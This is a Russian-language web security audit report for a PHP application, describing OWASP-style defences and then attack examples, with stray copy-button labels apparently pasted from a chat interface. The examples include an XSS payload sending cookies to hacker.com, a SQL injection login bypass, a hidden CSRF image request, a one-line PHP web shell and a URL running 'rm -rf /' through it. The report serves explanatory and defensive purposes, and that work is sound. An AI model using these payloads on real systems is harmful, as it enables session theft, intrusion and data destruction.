ОТЧЕТ ПО АУДИТУ БЕЗОПАСНОСТИ

1. Введение

Проведен аудит безопасности. Проверка выявила уязвимости и реализованные меры защиты в соответствии с требованиями OWASP Top 10.

2. Анализ уязвимостей и защита

2.1. Межсайтовый скриптинг (XSS)

Риск: Внедрение вредоносных JavaScript-кодов через поля ввода.
Защита:

- Экранирование вывода через `htmlspecialchars()`:
```
<?= htmlspecialchars($data, ENT_QUOTES, 'UTF-8') ?>
```
- CSP-заголовок для ограничения источников скриптов:
```
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'self' cdnjs.cloudflare.com">
```

2.2. Раскрытие информации (Information Disclosure)

Риск: Утечка данных через ошибки БД, пути файлов.
Защита:

- Отключение вывода ошибок:
```
error_reporting(0);
ini_set('display_errors', 0);
```
- Кастомные сообщения об ошибках:
```
try {
    // Код с БД
} catch (PDOException $e) {
    error_log($e->getMessage());
    die("Произошла ошибка");
}
```

2.3. SQL-инъекции (SQL Injection)

Риск: Внедрение SQL-команд через параметры запросов.

Защита:

- Подготовленные выражения PDO:
```
$stmt = $db->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
```
- Приведение типов для чисел:
```
$id = (int)$_GET['id'];
```

2.4. Межсайтовая подделка запроса (CSRF)

Риск: Выполнение действий от имени пользователя без его ведома.

Защита:

- Генерация CSRF-токена:
```
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
```
- Проверка токена в формах:
```
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?
>">
```
- Валидация при обработке POST:
```
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("Недействительный токен");
}
```

2.5. Включение файлов и загрузка (File Include/Upload)

Риск:

- Локальное/удаленное включение файлов (`?page=../../../etc/passwd`).
- Загрузка вредоносных файлов (`.php`, `.exe`).

Защита:

- Белый список для включения файлов:

```
$allowed = ['home', 'about'];
if (!in_array($_GET['page'], $allowed)) die("Доступ запрещен");
```

- Проверка MIME-типов при загрузке:

```
$allowed_types = ['image/jpeg', 'image/png'];
if (!in_array($_FILES['file']['type'], $allowed_types)) die("Недопустимый тип");
```

---

1. XSS (Cross-Site Scripting)

Что может сделать хакер:

- Внедрить вредоносный JavaScript-код в страницы приложения
- Похитить cookies и сессии пользователей
- Перенаправлять пользователей на фишинговые сайты
- Подменять содержимое страниц (например, добавить фальшивую форму ввода паролей)
- Выполнять действия от имени пользователя (если есть права админа)

Пример атаки:

html

Copy
Download

Run

```
<script>
fetch('https://hacker.com/steal?cookie='+document.cookie);
</script>
```

Вставка в поле комментария или профиля

2. SQL Injection

Что может сделать хакер:

- Получить несанкционированный доступ к базе данных
- Похитить все пользовательские данные (логины, хеши паролей, персональную информацию)
- Удалить или изменить данные в базе
- Получить доступ к админским функциям через обход аутентификации

Пример атаки:

sql

Copy
Download

```
' OR '1'='1' --
```

В поле логина, что может дать доступ без пароля

3. CSRF (Cross-Site Request Forgery)

Что может сделать хакер:

- Заставить авторизованного пользователя выполнить нежелательные действия
- Изменить пароль/email пользователя
- Совершить финансовые операции (если есть платежи)
- Добавить/удалить данные от имени пользователя

Пример атаки:

html

Copy
Download
Run

```
<img src="https://site.com/change-email?new=attacker@mail.com" width="0" height="0">
```

Пользователь, открывший страницу с этим кодом, сменит email без своего ведома

4. Information Disclosure

Что может сделать хакер:

- Получить доступ к чувствительной информации:
  - Пути к файлам на сервере

- Версии ПО и фреймворков
- SQL-запросы с ошибками
- Данные конфигурации

- Использовать эту информацию для более сложных атак

Пример утечки:

Copy
Download
```
Ошибка: Table 'database.users' doesn't exist in /var/www/html/login.php on line 42
```

Раскрывает структуру файлов и используемое ПО

5. File Include/Upload

Что может сделать хакер:

- Загрузить на сервер вредоносные файлы (веб-шеллы)
- Получить полный контроль над сервером
- Читать/изменять любые файлы на сервере
- Использовать сервер для атак на другие системы

Пример атаки:

1. Загрузка файла `shell.php`:

   php
   Copy
   Download
   ```
   <?php system($_GET['cmd']); ?>
   ```

2. Выполнение команд:

   Copy
   Download
   ```
   https://site.com/uploads/shell.php?cmd=rm+-rf+/
   ```

6. Небезопасная аутентификация

Что может сделать хакер:

- Подобрать пароли через брутфорс
- Использовать украденные учетные данные

- Получить доступ к аккаунтам через слабые пароли
- Проводить атаки типа "перебор по словарю"

Пример атаки:

Использование списка популярных паролей:

Copy
Download
```
admin:admin
user:123456
test:password
```

7. Недостатки сессий

Что может сделать хакер:

- Похитить сессионные cookies
- Подделать сессии (Session Fixation)
- Долго оставаться в системе даже после выхода пользователя
- Получить доступ к нескольким аккаунтам одновременно

Пример атаки:

Установка фиксированного ID сессии:

Copy
Download
```
https://site.com/login.php?PHPSESSID=hacker_session
```

8. Отсутствие rate limiting

Что может сделать хакер:

- Проводить неограниченное количество попыток входа
- Автоматизировать подбор паролей
- Вызвать отказ в обслуживании (DoS) через множество запросов
- Перегрузить сервер и базу данных

Пример атаки:

Отправка 1000 запросов в секунду на форму входа.